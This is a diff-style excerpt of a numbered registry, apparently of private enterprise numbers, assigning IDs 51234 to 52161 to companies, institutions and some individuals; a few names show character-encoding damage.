+51234 ABC arbitrage Asset Management
+51235 Masterpress S.A.
+51236 NUX Technologies
+51237 Enveil, Inc
+51238 conduent
+51239 Questrade, Inc.
+51240 The Servicepoint Group
+51241 TE Subcom
+51242 Ufi Space
+51243 Medical Specialist Holdings (Pty) Ltd
+51244 Tangent Animation
+51245 Movenda S.p.A.
+51246 Evidencias Certificadas, S.L.
+51247 Siemens Postal, Parcel & Airport Logistics GmbH
+51248 BDSDEV (formerly 'Family Herder')
+51249 Jages TransportAB
+51250 Dalfors Ã…keri AB
+51251 DeepCore Systems
+51252 Reifenhaus Nordheide
+51253 VIGOR Digital Communication Technologies Co.,Ltd
+51254 Eskilstuna Strängnäs Energi och Miljö AB
+51255 Clinical Oncology Associates
+51256 SW Solutions
+51257 ZOOMSERVER
+51258 Département de Maine-et-Loire
+51259 Skogsåkarna i melllansverige AB
+51260 Waverly Hematology Oncology
+51261 Sander Dijkhuis
+51262 www.sccheung.com.hk
+51263 Julita Ã…keri AB
+51264 Norrhälsinge Skogsägarförening
+51265 Giffsworld
+51266 IT-Solutio
+51267 ARAD Networks
+51268 Gerolsteiner Brunnen GmbH & Co. KG
+51269 Swedish Match Industries AB
+51270 Prima Systems
+51271 Azura Engineering Ltd
+51272 ControlTec sp. z o.o.
+51273 StrykersStryle
+51274 Spotless BHP
+51275 Broberg Skogs AB
+51276 ForceShield, Inc
+51277 Right To Play
+51278 Prästlönetillgångarna i Skara Stift
+51279 «Sharx Datacenter» (LimitedLiabilityCompany)
+51280 Bleemeo
+51281 Decentralized and Distributed Systems (DEDIS) Laboratory at EPFL
+51282 Atom
+51283 AHS Aviation Handling Services GmbH
+51284 TNT Systems Ltd.
+51285 Tower Hill Insurance Group, LLC
+51286 Bournemouth University
+51287 EcoSyllaba Latinoamerica S.A.S
+51288 Christopher Kleen
+51289 BEAMER.org
+51290 NII Masshtab
+51291 Pauls Stradins Clinical university hospital
+51292 Siberian Integration Systems
+51293 Government of the Northwest Territories
+51294 ecomes
+51295 Tuomas Siren Consulting
+51296 International Community School of Abidjan
+51297 GROKE Tueren und Tore GmbH
+51298 Santa Monica Networks
+51299 ib datentechnik nause GmbH
+51300 Gübau Service GmbH
+51301 contact.pl sp. z o.o.
+51302 Nextek Solutions Pte Ltd
+51303 Sailpoint Technologies
+51304 Medical Clinic of Northville
+51305 National Marine Electronics Association
+51306 Nipendo
+51307 OEM Solutions, Inc.
+51308 SEHCON
+51309 5x9 Networks
+51310 segfault.io
+51311 SAGS IT
+51312 Vasilevsky Rudnik Gold Mine
+51313 Horizon Power
+51314 Solusindo Antar Network
+51315 Technotronics Ltd.
+51316 Lundgrens i Igelfors AB
+51317 ArchNemesis
+51318 Starview Systems
+51319 Wallace Roberts & Todd, LLC
+51320 Hitachi Hirel Power Electronics Pvt Ltd
+51321 If P&C Insurance AS
+51322 ONAIR MEDYA KOMUNIKASYON LTD.
+51323 Stensborgs åkeri AB
+51324 Skarox OÜ
+51325 Jurupa Unified School District
+51326 Profitap HQ BV
+51327 Agência Estadual de Tecnologia da Informação de Pernambuco
+51328 Elder Estates
+51329 Salviol Global Analytics Ltd.
+51330 VOMATEC Innovations GmbH
+51331 TO21
+51332 Shenzhen Taishan Technology Co., Ltd.
+51333 EduBase LLC
+51334 PolarPower, Inc.
+51335 Austrian Federal Ministry of Education, Science and Research
+51336 Big River Communications
+51337 Freesat Limited
+51338 Frederick County Bank
+51339 packetized.org
+51340 Shenzhen Adamasnet Technology Co., Ltd.
+51341 Trusted Key
+51342 Deutsche Familienversicherung
+51343 Brotherhood and Sisterhood Graphic Design and Fashion
+51344 SINENSIA IT SOLUTIONS
+51345 IBT Interfaces
+51346 da young telecommunication
+51347 Accipiter Radar
+51348 Shanghai Kyee Technology Co.,Ltd.
+51349 ABN AMRO Clearing
+51350 County Durham and Darlington Fire and Rescue Service
+51351 Norfolk County Council
+51352 eiipii
+51353 IOActive
+51354 Klemetsson Holding AB
+51355 SJ AB IT Utveckling
+51356 MDIIA
+51357 CIRA Labs
+51358 Clockworx
+51359 Lehigh Trust Services, LLC
+51360 RCDDM
+51361 Police and Border Guard Board of Estonia
+51362 THOMAS SIGNE SOLUCIONES TECNOLOGICAS GLOBALES S.A.S.
+51363 Spark Networks Services GmbH
+51364 The Flirble Organization
+51365 Milliarum GmbH & Co. KG
+51366 Università degli Studi del Sannio - Settore Sistemi IT
+51367 Sörmlands Skogstransporter AB
+51368 Aterlo Networks Inc
+51369 Expeditors International
+51370 StraCon Services Group, LLC.
+51371 Auckland Council
+51372 SmartCrypto Pty Ltd
+51373 DIGIEVER
+51374 TimmerLogistikVäst AB
+51375 Swisscard AECS GmbH
+51376 inno-plan GmbH
+51377 Reaxcer AB
+51378 OWITHO Network Technology (Shanghai) Co., Ltd.
+51379 LBS Landesbausparkasse Südwest
+51380 E.S.R.Labs AG
+51381 Intek LLC
+51382 Sandfly Security, Ltd
+51383 Verallia
+51384 Auto Gassner
+51385 Zubro.NET
+51386 Mount Holyoke College
+51387 S.C. Bitlosophy S.R.L.
+51388 osjava.net
+51389 FOC - fibre optical components GmbH
+51390 | Mobiltrust Bilisim Sanayi ve Ticaret A.S.
+51391 Komtel Bilgi ve Ä°letiÅŸim Teknolojileri A.Åž.
+51392 TETRA Informatique
+51393 Kjellbergs Logistik & Teknik AB
+51394 b-Things
+51395 Depenbrock Bau GmbH & Co. KG
+51396 The Bilco Company
+51397 MNS Group
+51398 Johnson Brothers Liquor Company
+51399 secure.car
+51400 Max Planck Society Administrative Headquarters
+51401 Hunan Normal University
+51402 1G5 Solutions (formerly 'NT-SRV LTD')
+51403 Ooe Landesfeuerwehrverband
+51404 Università degli Studi dell'Insubria
+51405 infoscore austria gmbh
+51406 Electronic Certification Center
+51407 National Agency for Network Services - NANS
+51408 Institute For Advanced Studies in Basic Science (IASBS)
+51409 Railton Consultants Ltd
+51410 Dannes trp Rengsjö AB
+51411 L1 Smart Solutions
+51412 Fotrousi Electronics Research
+51413 Baraga Area Schools
+51414 Open Connectivity Foundation
+51415 Banicomm Co.
+51416 Neotech Solutions
+51417 Rede Zone
+51418 North Carolina Department of Transportation (NCDOT)
+51419 Responsiv
+51420 Skene Ventures Limited
+51421 Civis Technologies, LLC
+51422 Department of Energy - Strategic Petroleum Reserve
+51423 Little Company of Mary Hospital and Health Care Centers
+51424 Vyvygen Corporation
+51425 New Directions Housing Corporation
+51426 Dark3, Inc.
+51427 China Telecommunication Technology Labs
+51428 Virkeslogistik Mellansverige AB
+51429 Crossrims Pty Ltd
+51430 liuwei1573
+51431 ELKO EP, s.r.o.
+51432 Vaultit AB
+51433 V-Partei³
+51434 S.C. DELTATEL SRL
+51435 SCLE SFE
+51436 Opendigitalradio
+51437 Razberi Technologies, Inc.
+51438 unshare
+51439 Videotec S.P.A.
+51440 smart-edge.com
+51441 InfraNet AG
+51442 Siegfrieds Mechanisches Musikkabinett GmbH & Co Museum KG
+51443 Kaloom
+51444 AllSouth Federal Credit Union
+51445 Chromatec Video Products
+51446 Saitro
+51447 Mizuno USA, Inc.
+51448 ID06 AB
+51449 Verified Systems International GmbH
+51450 Nokia
+51451 Beijing mission communication co.,Ltd
+51452 Evolution Travel Network
+51453 Lekkerland information systems GmbH
+51454 Pionica Poland
+51455 Ministry of Foreign Affairs of Estonia
+51456 Dedon Inc
+51457 Linkedin
+51458 Empower Psychiatry & Sleep LLC
+51459 DataEngrave S.L.
+51460 ALEXIUS M BISHOP, MD PSC
+51461 DIESEL-NETWORKS.COM
+51462 Saudi Aramco
+51463 Ortana Electronics Software Inc.
+51464 Zehetner-Elektronik GmbH
+51465 Synvina
+51466 Avantium
+51467 Chrisse Corporation
+51468 Vertis Solutions
+51469 CARDIOLOGY ASSOCIATES, INC.
+51470 Hole kommune
+51471 DR. WILLIAM STRAZZELLA
+51472 Arkessa
+51473 thyssenkrupp System Engineering GmbH
+51474 Crayon Group AS
+51475 tlacuache.us
+51476 Rega
+51477 XZS
+51478 ITW Food Equipment Group
+51479 VeChain
+51480 Ace Supply Company, Inc.
+51481 Curve Dental
+51482 R2H Flavor Technology, LLC
+51483 CTIA
+51484 Exonar Ltd
+51485 mm-lab GmbH
+51486 Revi Comp. Network Technologies
+51487 UnicusID, Inc.
+51488 Netnod Internet Exchange i Sverige AB
+51489 SliceOne
+51490 Ashfords LLP
+51491 SCRT SA
+51492 SuitePad GmbH
+51493 Smart Flows
+51494 Alan N Yager MD
+51495 Real-World-Systems, Inc.
+51496 CC-Link Partner Association
+51497 ChatVoice Corporation
+51498 KeeeX SAS
+51499 FLEXXIBLE INFORMATION TECHNOLOGY SL
+51500 Milwaukee Foot and Ankle Specialists
+51501 Nebraska Foot & Ankle, P.C.
+51502 Cludo
+51503 ARS Traffic & Transport Technology
+51504 Oaks Hotels and Resorts Australia (Minor Hotels Australia)
+51505 Hitachi Metals, Ltd.
+51506 TnMTech Co.,Ltd.
+51507 meanit bvba
+51508 HealthMyne, Inc.
+51509 Lycoming-Clinton Joinder Board
+51510 Crisis Innovation Lab
+51511 Adams Street Partners
+51512 Greenbriar Equity Group LLC
+51513 SYSETM INFORMATION PARTNER
+51514 PJSC Bank ALEKSANDROVSKY
+51515 StarLight Media LLC
+51516 ASAAF-UCM
+51517 Snell Check
+51518 IoTExperiences
+51519 Commsignia, Inc.
+51520 Bahnflow AB
+51521 ISOutsource
+51522 The Omni Group
+51523 aplicube
+51524 AASKI Technology Inc.
+51525 AT&T Wireless Network Architecture and Design
+51526 Schweizerische Akademische Turnerschaft
+51527 braincon GmbH
+51528 AIGCEV - Association Internationale de Gouvernance du Cachet Electronique Visible
+51529 X Stream Designs
+51530 Volkswagen Poznań Sp. z o.o.
+51531 multiOTP
+51532 SysCo systemes de communication sa
+51533 SkyData Communications
+51534 OH Precision Corp.
+51535 iGeneTech
+51536 Energieversorgung Mittelrhein AG
+51537 Tessi Documents Services
+51538 Nanjing Stable Electronic Technology Co. , Ltd
+51539 LHI Leasing GmbH
+51540 LITEON Networking Solutions
+51541 LITEON TECHNOLOGY CROP.
+51542 UPM-Kymmene Oyj
+51543 Apex Systems
+51544 MAI Trading Co. W.L.L
+51545 Swampfox Technologies Inc
+51546 Alex Moore
+51547 Catalysts GmbH
+51548 Council Rock Enterprises, LLC
+51549 Pediatrics at Oyster Point
+51550 American Amplifier Technologies, LLC
+51551 Caribbean Cancer Care Services
+51552 Advanced Television Systems Committee
+51553 Oregon Bureau of Labor and Industries
+51554 System Planning
+51555 Jason Letanosky
+51556 Max Planck Institute for Biology of Ageing
+51557 SecurIT360 LLC
+51558 Europower Consulting GmbH
+51559 duagon AG
+51560 Informatics Systemhaus
+51561 Fry-IT Limited
+51562 Fasttrack Immediate Care LLC
+51563 TelcoEdge Pty Ltd
+51564 National Institute of Information and Communications Technology (NICT)
+51565 Shenzhen Ehilink Technology Ltd.
+51566 AMBA
+51567 Plusnet GmbH & Co. KG
+51568 Buck Institute
+51569 Technology Bjumper S.L.
+51570 Clinic Management Group
+51571 Observer-X LLC
+51572 DEVtec.io
+51573 Nachiket V. Patel, MD, PA
+51574 CENTRAL JERSEY SPORTS MEDICINE & ORTHOPAEDIC CENTER, PC
+51575 TUC Co
+51576 Timber Technologies, Inc.
+51577 CTI Certificate Authority Co., Ltd
+51578 Codilis and Associates, P.C.
+51579 Thauris
+51580 MetaNetworks
+51581 Localdomain.dk
+51582 Darling Ingredients Inc
+51583 Tarrell, Inc.
+51584 Vision Net
+51585 Kohler Co.
+51586 TrellisWare Technologies, Inc.
+51587 RICIS, Inc.
+51588 Allegiance Consulting (Pty) Ltd
+51589 White Hat Security
+51590 The Austins
+51591 L'Empire Troll
+51592 Cloud Way Computing
+51593 Theben AG
+51594 Royalunibrew
+51595 Ikast-Brande Kommune
+51596 DCT Gdansk S.A.
+51597 Cullman Regional Urgent Care
+51598 ESIREM
+51599 NeoPrime, LLC
+51600 Stengele Holz- & Kunststofftechnik GmbH
+51601 PJSC First Ukrainian International Bank
+51602 Uman GmbH
+51603 Martin Currie Investment Management Ltd
+51604 Arrcus, Inc
+51605 Cryptodira
+51606 Wafrum Consulting & Caeli Online Services
+51607 Fara Afrand Co.
+51608 Winnebago County
+51609 K33BZ.COM
+51610 Off Lease Only, Inc.
+51611 Ultimate Access Primary Care
+51612 IVM srl
+51613 Controlled Power Company
+51614 Lumileds LLC
+51615 ZhuHai JinFangDa Technology Co., Ltd
+51616 CatIT
+51617 Novo Holdings A/S
+51618 ITS Bel Ltd
+51619 Celonis SE
+51620 Getzner Textil Aktiengesellschaft
+51621 TaraTech Co.
+51622 San@sro Inc.
+51623 Lyft
+51624 Garrett Container Systems
+51625 Open Stack, Inc.
+51626 Dortmunder Blankstahl GmbH
+51627 NMBS-SNCB
+51628 Solid Optics
+51629 Mektoso
+51630 HealthTrust, Inc.
+51631 Bocom BBM
+51632 AND Agency
+51633 Eurotel Bilgi Iletisim Sistemleri A.S.
+51634 RobotSzoft Kft
+51635 PagerDuty, Inc.
+51636 CEGI
+51637 Ovostar Union
+51638 YADA
+51639 DI Christian Linhart GmbH
+51640 JustinWiebe.ca
+51641 Allianz Technology SE - Global Document and Archive Management
+51642 IIC Workshop
+51643 Janus Henderson Investors
+51644 IP-Only Networks AB
+51645 The Trustee for KM Licence Trust
+51646 Becker Nachrichtentechnik GmbH
+51647 Rennes Métropole
+51648 Ingenico e-Commerce Solutions
+51649 BHS Corrugated Maschinen- und Anlagenbau GmbH
+51650 St. Nikolaus-Hospital
+51651 Piekarnia Oskroba S.A.
+51652 DEA Deutsche Erdoel AG
+51653 NorthWestern Energy
+51654 Convergence Systems Limited
+51655 H W Communications Limited
+51656 Xtiva Financial Systems Inc
+51657 marclachapelle.com
+51658 Transports GUILMET
+51659 0x19e Networks
+51660 Combat Networks Inc.
+51661 FRPC JSC RPA Mars
+51662 Telna Inc
+51663 Maspex Sp. z o.o. Sp.K.
+51664 Kodegenix
+51665 South Carolina Law Enforcement Division
+51666 iC Consult GmbH
+51667 BroadSource Group Pty Ltd
+51668 Dannes transport i Rengsjö
+51669 Qeshm paya pars
+51670 Parspooyesh
+51671 Silk Road Infrastructure Communication Development Co
+51672 payammail
+51673 Sanjesh Afzar Asia
+51674 TEACHERS MUTUAL BANK LIMITED
+51675 FaSTTUBe
+51676 Cloud Kom d.o.o
+51677 NIL Ltd.
+51678 Intrising Networks, Inc.
+51679 GIAL
+51680 mSensis S.A.
+51681 Dr. KADE Pharmazeutische Fabrik GmbH
+51682 Rebex CR, s.r.o.
+51683 MegaDrive
+51684 Umdasch Digital Retail GmbH
+51685 verdict id limited
+51686 Flexential
+51687 SRG Radiology
+51688 The Pictsweet Company
+51689 EverTrust
+51690 Idsu
+51691 ANIMALL
+51692 Bluetest AB
+51693 Smarting
+51694 Feistritzwerke-STEWEAG-GmbH
+51695 DARZ GmbH
+51696 Massachusetts Financial Services Company
+51697 Anywave Communication Technologies INC
+51698 Netbytes, Inc.
+51699 Greenville Surgical Clinic
+51700 Eastern New Mexico University
+51701 Powermeter
+51702 Delta Computer Systems, Inc.
+51703 Timmersdala skogstransport ab
+51704 Sinai Grace Specialty Care
+51705 Ionx Solutions
+51706 Anditi
+51707 South Sound Oncology Services, PC
+51708 Gatema a.s.
+51709 K-CIX
+51710 Electronic Monitoring Solutionz Ltd
+51711 Apis Networks
+51712 0b1.se
+51713 Girolami Controls Inc.
+51714 Lumentum Operations LLC
+51715 SSI Cable
+51716 EVE compliancy solutions
+51717 Gamefanatics.com
+51718 Centro Oncologico del Oeste
+51719 Criteo SA
+51720 Lartech
+51721 UTran Technology Inc.
+51722 GCR Tech
+51723 BEIJING ZONGHENG ELECTRO-MECHANICAL TECHNOLOGY DEVELOPMENT CO.
+51724 Intersect
+51725 Radio DataCast
+51726 CTPHQ
+51727 Indium Limited
+51728 Honiball IT Limited
+51729 Serverside Kft.
+51730 Discount Tire
+51731 GERO Meßsysteme GmbH
+51732 digitalpath sàrl
+51733 Ministry of Science, ISRAEL
+51734 Gomes Consulting Services
+51735 Shanghai Hite-Belden Network Technology Co., Ltd.
+51736 Sumeru Microwave Communications Pvt. Ltd.
+51737 x-tention Informationstechnologie GmbH
+51738 Glenn E Hurst MC P.C.
+51739 Jinmyung Communications Co., Ltd.
+51740 Goldspotlight
+51741 Zander Work
+51742 Contact Energy Limited
+51743 Corporación Font S. A.
+51744 cyberways GmbH
+51745 Hochschule Ruhr West
+51746 Lab Local Org
+51747 OS33
+51748 Kong Inc
+51749 Quantify Technology Ltd
+51750 UNIGONE
+51751 McLaren Applied Technologies
+51752 Abanka d.d.
+51753 Unite Private Networks, LLC
+51754 Alcaldia de Medellin
+51755 Breastlink Medical Group
+51756 Sofim spol. s r. o.
+51757 Tieto Business Information Exchange (BIX)
+51758 Glasswall Solutions Ltd
+51759 Intercede Group Plc
+51760 Quilvest (Switzerland) Ltd.
+51761 SS20
+51762 Euris Health Cloud
+51763 Equisign
+51764 Institut de Biologie Structurale (IBS)
+51765 Bentron Power Systems
+51766 Jesus Fernandez
+51767 Usabilla B.V.
+51768 yogendra thakur toure&travals
+51769 One Stop Systems
+51770 Elmira College
+51771 Computils
+51772 RaiScience
+51773 Ransom Memorial Health
+51774 Acom Networks
+51775 AppNexus Inc
+51776 rooteehealth
+51777 SeeEyes
+51778 MOBI Antenna Technologies(Shenzhen)Co.,Ltd.
+51779 Shenzhen Borynet Co.,Ltd
+51780 Centre hospitalier Bienne SA
+51781 TNBA
+51782 Warp United Scientific Co., Ltd.
+51783 Canadian Cancer Trials Group
+51784 Berrien Regional Education Service Agency
+51785 Tecnocore
+51786 Peachtree Dunwoody Dermatology
+51787 J&K Communications, Inc.
+51788 Vinay Kumar Malviya, MD PC
+51789 CinemaVision
+51790 Wysocki Family of Companies
+51791 Corsearch, Inc
+51792 Björnsholms Åkeri AB
+51793 Derakhshan Sanat Isatis (DSI)
+51794 Bosch.IO GmbH
+51795 Ovoo Sp. z o. o.
+51796 Citadel LLC
+51797 Bachmann electronic GmbH
+51798 Norgine Limited
+51799 Excera Technology Co., Ltd
+51800 Virgin Global Media
+51801 Quick Heal Technologies Limited
+51802 Semperis Ltd.
+51803 ProofShow Inc.
+51804 Energy Services Handels- und Dienstleistungs G.m.b.H.
+51805 Simpson Accountancy Ltd
+51806 Bittium
+51807 regio[.NET] GmbH&Co. KG
+51808 Andreas Kloska
+51809 Xunde Energie
+51810 Cloud Portfolio And Trading Analytics
+51811 ATSC 3.0 Security Authority (formerly 'Pearl TV')
+51812 Shenzhen Kstar Science & Technology Co.,Ltd
+51813 Thomas Gebhardt
+51814 Solid Optics EU N.V.
+51815 Dominanz s.r.o.
+51816 euNetworks Managed Services GmbH
+51817 KAP IT
+51818 Westland Gummiwerke GmbH & Co. KG
+51819 Serg Oskin
+51820 deepthink AG
+51821 SAFARI Montage
+51822 iTechTool Incorporated
+51823 Hacking & Coffee, LLC
+51824 QuEST Global Engineering Services Private Limited
+51825 Astronaut, LLC
+51826 Atmosphere Architects
+51827 Gillerfors Ã…keri AB
+51828 StructureIT
+51829 High-End Media Kft.
+51830 Athora Corporation
+51831 Gratika
+51832 EnableIT Technologies Ltd
+51833 Macadam
+51834 Atam Id
+51835 French-Road
+51836 SUNY College of Optometry
+51837 INVEST - M, Ltd.
+51838 ProHealth Care
+51839 ddrs.de
+51840 Express Scripts Canada Inc.
+51841 FullCore
+51842 Adven Sweden Ab
+51843 Delta Systems Group
+51844 Carnegie Technologies
+51845 SureFire LLC.
+51846 SyndaTec LLC
+51847 GUARANA
+51848 NetMeister, Inc.
+51849 MunichCamper
+51850 Inspur Power Commercial Systems Co.,Ltd.
+51851 Connetics Ltd
+51852 SPTek
+51853 Ã…sljunga Pallen AB
+51854 Energie Graz GmbH & CO KG
+51855 BC²
+51856 NeEhA Team
+51857 ngVision Sp. z o.o.
+51858 Mole Valley District Council
+51859 IDS Ingegneria Dei Sistemi
+51860 Syscom
+51861 Safe Stamper
+51862 East Coast Simulation
+51863 serv.it Gesellschaft für IT Services mbH
+51864 PayamPardaz
+51865 Ian Bobbitt
+51866 Mynt (Globe Fintech Innovations Inc.)
+51867 Open Networking Foundation
+51868 Holvonix LLC
+51869 Sala-Heby Energi AB
+51870 MSI
+51871 Autoclear, LLC
+51872 Fegens SÃ¥gverk AB
+51873 FOXTEL S.R.L.
+51874 Micro C, LLC
+51875 New Context Services, Inc.
+51876 Unflap
+51877 Konten Networks Inc.
+51878 Network Over the Edge
+51879 Freespee
+51880 Wahléns Åkeri AB
+51881 PINTSCH BUBENZER GmbH
+51882 Cycleon B.V.
+51883 Rotork Controls Limited
+51884 Jan-Olof Sundbergs Ã…keri AB
+51885 Victor G Carabello MD Inc
+51886 Pensando Systems, Inc.
+51887 Nashville Oncology Associates, PC
+51888 Infinite Software Solutions Inc D\B\A MD-Reports
+51889 Dimon Pro sp. z o.o.
+51890 Noqoush Mobile Media Group FZ LLC
+51891 Br Bertsons Ã…keri AB
+51892 Rhaeticom AG
+51893 Dayton Physicians Network
+51894 Power Element
+51895 Vet Rocket LLC
+51896 Instituto de hematologia y oncologia medica del norte PSC
+51897 Engineering Bureau Phoenix LLC
+51898 Vyex LLC
+51899 JDQIRC
+51900 IronSys
+51901 SYNEFFI
+51902 ENRIQUE GRIEGO MD PA
+51903 BAE SYSTEMS, Apex
+51904 Tridum key
+51905 Kent Denver School
+51906 Butterfly Network Inc
+51907 Rapiddot Hosting Services Ltd
+51908 FICOSA
+51909 Universidad Autonoma de Bucaramanga
+51910 ANM Inc.
+51911 amaysim Australia Ltd
+51912 Ascension IT Pty Ltd
+51913 Electroacustica General Iberica S.A.
+51914 Ixxus Limited
+51915 HPDS
+51916 Sommens Transport AB
+51917 RealD Inc.
+51918 Applied Research Center for Computer Networks
+51919 Universidad de Oriente
+51920 link22 AB
+51921 UO.EDU.CU
+51922 Ruthlessly Practical
+51923 Tom Klein IT
+51924 Micrologix Embedded Controls Pvt Ltd
+51925 Telesens IT
+51926 Amplified Engineering Pty Ltd
+51927 The Nordam Group, Inc.
+51928 Colégio Notarial do Brasil
+51929 FarmSoft Network Technology Shanghai Co.
+51930 HELMUT FISCHER GMBH INSTITUT FÃœR ELEKTRONIK UND MESSTECHNIK
+51931 Pietro Fiorentini spa
+51932 Andrews University
+51933 University of Chinese Academy of Sciences
+51934 Linus Brogan
+51935 Sydney Boys High School
+51936 Matthias Merkel
+51937 BARTCO TRAFFIC EQUIPMENT PTY. LTD.
+51938 Metsähallitus Metsätalous Oy
+51939 Sirius Extrusion, LLC
+51940 Sasa Software (C.A.S) Ltd
+51941 ISYRIUS
+51942 Polskie Górnictwo Naftowe i Gazownictwo SA
+51943 Herzogsaegmuehle (Innere Mission Muenchen - Diakonie in Muenchen und Oberbayern e.V.)
+51944 DYWIDAG-Systems International GmbH
+51945 Micronova SRL
+51946 Code Designs® Inc
+51947 LL Consulting
+51948 eCH Association
+51949 ALC Industries Inc
+51950 SSR Network Solutions Inc
+51951 Pliancy (formerly 'TSGCA, inc')
+51952 Epsylon Sp. z o.o. Sp. K.
+51953 Clausohm-Software GmbH
+51954 SWILE DIGITAL ON LINE
+51955 TISCOM
+51956 BNY Mellon
+51957 Curo Teknika Inc.
+51958 Santa Rosa County School District
+51959 Paul Egy
+51960 actidata Storage Systems GmbH
+51961 Accidental Development
+51962 AD QUALITE
+51963 Transacciones y Transferencias, S.A.
+51964 Linn-Benton Community College
+51965 Plan International Canada Inc.
+51966 Ide Bekr Mobin
+51967 Smartweb s.r.o.
+51968 RobCo sp. z o.o.
+51969 Faraday&Future Inc.
+51970 Wireless Logic Limited
+51971 Confédération des Jeunes Chercheurs
+51972 RELEX
+51973 Raptor Engineering, LLC
+51974 Raptor Computing Systems, LLC
+51975 TouHou.FM
+51976 Barry Electric Cooperative, Inc.
+51977 Shirakumo
+51978 BitMEX
+51979 WestJet Airlines Ltd.
+51980 IT Forge
+51981 Unassigned
+51982 Red Dog Consulting LLC
+51983 Groupe Solutions TI
+51984 XnetSolutions KG
+51985 Linogate GmbH
+51986 CARVAJAL SOLUCIONES EN TECNOLOGIA S.A.S
+51987 Squar Milner
+51988 Panj Works
+51989 Irvine Company
+51990 Rigosys Information Technology
+51991 Landkreis St. Wendel
+51992 Zuercher Hochschule der Kuenste ZHdK
+51993 GKD Paderborn
+51994 Indian Institute of Science, Bangalore
+51995 Bengkel Oprek Elektronika
+51996 Grand Canyon Education
+51997 Ten Fifteen Solutions Limited
+51998 Ampd Energy Limited
+51999 Bäckebo Sågverk AB
+52000 Amsio
+52001 European External Action Service
+52002 Svod International, LLC
+52003 Starpower Home Entertainment Systems, Inc.
+52004 Elcomplus LLC
+52005 ogt11.com, llc
+52006 Designx Solutions
+52007 Garretson Resolution Group
+52008 Alliance Development Fund
+52009 Oakland Unified School District
+52010 Westmoreland Casemanagement and Supports, Inc.
+52011 Stolon
+52012 Rodmyre Technology
+52013 Hanalytics Pte Ltd.
+52014 Volkswagen Group Rus
+52015 Sabinet Online
+52016 Saab AB, Maritime Traffic Management
+52017 OOO FPK "Kosmos-Neft-Gaz"
+52018 A.D.SION Info Santé
+52019 littlemore.me.uk
+52020 Havana University
+52021 ITR Services EOOD
+52022 Spacynet
+52023 Yeraz
+52024 T-Mobile USA
+52025 AlticeUSA
+52026 Jishi Medical Tech. Co., Ltd.
+52027 Abilities Limited
+52028 Hebei Mota Electronic Technology Co., Ltd.
+52029 Kleberg Bank NA
+52030 Cross Link Group
+52031 iTreatMD Inc.
+52032 New Relic Inc
+52033 Hangzhou Youshi Industry Co., Ltd.
+52034 DEVELICT Solutions s.r.o.
+52035 Profitt ltd.
+52036 Bertil Ytterbom Skog AB
+52037 Remota Tecnologia em Comunicação
+52038 Community Colleges of Spokane
+52039 BHK Child Development Board
+52040 Torin J. Carey
+52041 Institute for Network Sciences and Cyberspace, Tsinghua University
+52042 e-Contract.be BVBA
+52043 Thüga Energienetze GmbH
+52044 AMHP - ASSOCIACAO DOS MEDICOS DE HOSPITAIS PRIVADOS DO DF
+52045 Solar Monitor s.r.o.
+52046 PAE
+52047 Jennason, LLC
+52048 Rob Andrews Consulting
+52049 Olle i Od åkeri AB
+52050 infinite io, Inc.
+52051 SHAPE Australia
+52052 SCA Energy
+52053 Dharma Drum Institute of Liberal Arts
+52054 Sture Gustafssons Ã…keri AB
+52055 ASN Norway AS
+52056 Immowelt AG
+52057 telpass
+52058 WebitDesign
+52059 Datasages
+52060 Münchener und Magdeburger Agrar
+52061 TEB Tecnologia Eletrônica Brasileira Ltda.
+52062 Hunan Tensafe Tech Co.,Ltd
+52063 Evolven Software
+52064 UPGRADE SOLUTIONS INFORM ATICA
+52065 St. Joseph Dermatology and Vein Clinic
+52066 University Dermatology and Vein Clinic
+52067 Montrose Environmental Group, Inc.
+52068 Mid-Range Computer Group
+52069 Webforeveryone GmbH
+52070 Knipmeyer IT
+52071 Piepenbrock Unternehmensgruppe
+52072 Gosudarstvennaya sluzhba svyazi PMR
+52073 Experda
+52074 TylerWeb
+52075 Covenant Care California, LLC
+52076 System Source
+52077 Grieshofer
+52078 VES, LLC
+52079 Biogen
+52080 ConfigMgrFTW
+52081 isoshi-oustache
+52082 ZENTRIOT SOLUTIONS PVT. LTD.
+52083 NexCast GmbH
+52084 Phoenix Recording Systems Limited
+52085 Polystar System AB
+52086 Nexstra, Inc
+52087 New Hope-Solebury School District
+52088 Carter County Sheriff's Office
+52089 Servicio de Administración de Rentas
+52090 UPM Solutions Inc
+52091 CentriLogic
+52092 Infinidim
+52093 Carrick-Skills
+52094 Stipendium
+52095 EVS Ltd
+52096 Japan Synchronization Radiation Research Institute
+52097 Adven Energilösningar AB
+52098 ERIC P FONTENOT M.D. INTERNAL MEDICINE
+52099 Acosm
+52100 NetQPro Sp. z o.o.
+52101 Data I/O Corporation
+52102 Twohe
+52103 Cyberbit
+52104 ShamAn
+52105 spoe
+52106 ISED Ingegneria dei sistemi S.p.A.
+52107 Volkswagen Financial Services Digital Solutions GmbH
+52108 Exponential-e Limited
+52109 Zeitounian Tecnologia
+52110 Grupo Idial
+52111 Jecstar Innovation
+52112 Instart Logic, Inc.
+52113 Verein der Freunde der Burgruine Andeck e.V.
+52114 FAIRFAX FOOT AND ANKLE CENTER, PC.
+52115 RasPTin
+52116 Geutebrück GmbH
+52117 Lenovo PLM
+52118 thyssenkrupp Elevator AG Asia Pacific Office
+52119 Tardigade Limited
+52120 Shaanxi Fenghuo Industrial Co.,LTD
+52121 Symbiotic Nexus
+52122 YHIMA OÜ
+52123 Ewalds Ã…keri AB
+52124 Trax Technologies, Inc.
+52125 FAPMC
+52126 Rock Electronic
+52127 Rosenblatt Enterprise Group, LLC.
+52128 Webridge Soft, Ltd.
+52129 PALFINGER AG
+52130 Blomesystem GmbH
+52131 Boxtrap Security
+52132 MOMENTUM
+52133 Universitat Ramon Llull
+52134 Francisco E. Martinez
+52135 Piscator Solutions
+52136 509 Solutions Pty Ltd
+52137 CARICOM Secretariat
+52138 VCNS TECH
+52139 Old Republic Title
+52140 CardPlus Sverige AB
+52141 CardPlus Oy
+52142 TRANS SPED LTD
+52143 RCCA MD LLC - Center for Cancer & Blood Disorders
+52144 Applied Video Solutions
+52145 CRSG Deutschland GmbH
+52146 LightYear Dealer Technologies, LLC
+52147 Truphone Limited
+52148 Les Services Conseils I6T
+52149 NGX STORAGE
+52150 Seaford UFSD
+52151 IEX Data Analytics LLC
+52152 Illinois Student Assistance Commission
+52153 Agency for Digitisation - Ministry of Finance Denmark
+52154 High Prairie School Division No. 48
+52155 Seaford UFSD
+52156 Kramer Deboer & Keane
+52157 Excelocity Inc.
+52158 Hager Group
+52159 Shandong Anzhilian Intelligent Technology Co., Ltd.
+52160 Raft Technology
+52161 John Paul the Great Catholic University
